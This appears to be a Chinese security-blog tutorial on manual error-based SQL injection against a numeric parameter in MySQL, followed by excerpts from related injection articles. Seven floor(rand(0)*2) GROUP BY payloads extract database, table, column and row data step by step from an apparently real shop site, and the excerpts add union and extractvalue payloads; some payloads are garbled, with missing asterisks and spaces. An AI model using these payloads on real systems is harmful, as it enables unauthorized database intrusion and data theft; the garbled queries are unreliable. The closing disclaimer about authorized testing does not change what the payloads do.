记手工SQL数字报错型注入

VSole2021-08-31 19:24:34

前言

上篇已经发了一篇回显型SQL注入,SQL剩下的还有报错型、盲注,今天再记一下报错型的流程,仅做参考

01 正文

1.先通过引号 判断该网站为数字型,payload直接拼接,无需引号闭合,当网站后直接构造拼接 and 0# 网站商品列表内容受到影响提示报错,此为回报错型注入

payload:and 0#

2.这与回显型注入不一样的是,不需要确定回显位,这里直接使用floor()直接构造payload查询即可,查询收集数据库信息,注意查询出来的结果“1smtmax8_smtmax”里面的1为系统前半段查询出的结果,与最后结果无关,省略1即可,查询结果应为“smtmax8_smtmax” 到此,之后取数据的步骤都与回显型相似

payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),database())x FROM information_schema.tables GROUP BY x)y)#

3.获取表数量,通过上一步得到mysql数据库版本大于5.1,可以通过MySQL的information_schema数据库进行数据获取,去掉1,则数据库表数量为6

payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT count() FROM information_schema.tables WHERE table_schema=database()))x FROMinformation_schema.tables GROUP BY x)y)#

4.取表名,通过LIMIT 0,1进行交替取值,一次过多可能会导致数据量过大的情况,一般通过取小数量字段即可正常取值

payload:and (SELECT x FROM (SELECT count(), concat(floor(rand(0)2),(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) x FROM information_schema.tables GROUP BY x)y)#

5.获取数据库表字段数

paylod:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT count() FROMinformation_schema.columns WHERE table_schema=database() and table_name=(SELECT table_name FROMinformation_schema.tables WHERE table_schema=database() LIMIT 1,1)))x FROM information_schema.tablesGROUP BY x)y)#

6.获取数据库表字段名

payload:and (SELECT x FROM (SELECT count(), concat(floor(rand(0)2),(SELECT column_name FROMinformation_schema.columns WHERE table_schema=database() and table_name='cms_info' LIMIT 0,1))x FROMinformation_schema.tables GROUP BY x)y)#

7.获取表数据,可以对敏感数据进行取值,这里但仅为演示

payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT concat(id) FROM cms_info LIMIT0,1))x FROM information_schema.tables GROUP BY x)y)#

02 说明

以mysql数据库,数字报错类型进行sql手工注入流程,仅供参考,大佬们点点赞,切勿进行非法入侵活动,一切渗透测试应在网站授权的前提下进行。

sql注入select
本作品采用《CC 协议》,转载必须注明作者和本文链接
SQL注入速查表
2022-07-29 09:22:37
现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
id=3';对应的sqlselect * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
id=1' order by 3# 没有报错,说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名。updatexml函数:细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:,而extractvalue函数末尾不加1(数值)?
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点!看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!
在云SQL上获取shell
2022-07-18 17:00:27
云上的关系数据库服务,它是由 Google 保护、监控和更新的SQL、PostgreSQL 或 MySQL的服务器。托管 MySQL 实例的限制由于Cloud SQL是一项完全托管的服务,因此用户无权访问某些功能。在MySQL中,SUPER权限保留用于系统管理相关任务,FILE权限用于读取/写入运行 MySQL服务器上的文件。
代码审计,说白了就是白盒测试,审查代码检查是否有安全问题,核心就两点:跟踪用户输入数据+敏感函数参数回溯。
未正确验证用户输入的应用程序使它们容易受到 SQL 注入的攻击。SQL 注入攻击 发生在攻击者能够通过操纵用户输入数据将一系列恶意 SQL 语句插入“查询”以供后端数据库执行时。使用这种类型的威胁,应用程序可以很容易地被黑客入侵并被攻击者窃取机密数据。
我见过的流量分析类型的题目总结: 一,ping 报文信息? 二,上传/下载文件 三,sql注入攻击 四,访问特定的加密解密网站 五,后台扫描+弱密码爆破+菜刀 六,usb流量分析 七,WiFi无线密码破解 八,根据一组流量包了解黑客的具体行为例题:一,ping 报文信息?如果是菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。
SQL手工注入总结
2021-11-11 08:19:35
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!
VSole
网络安全专家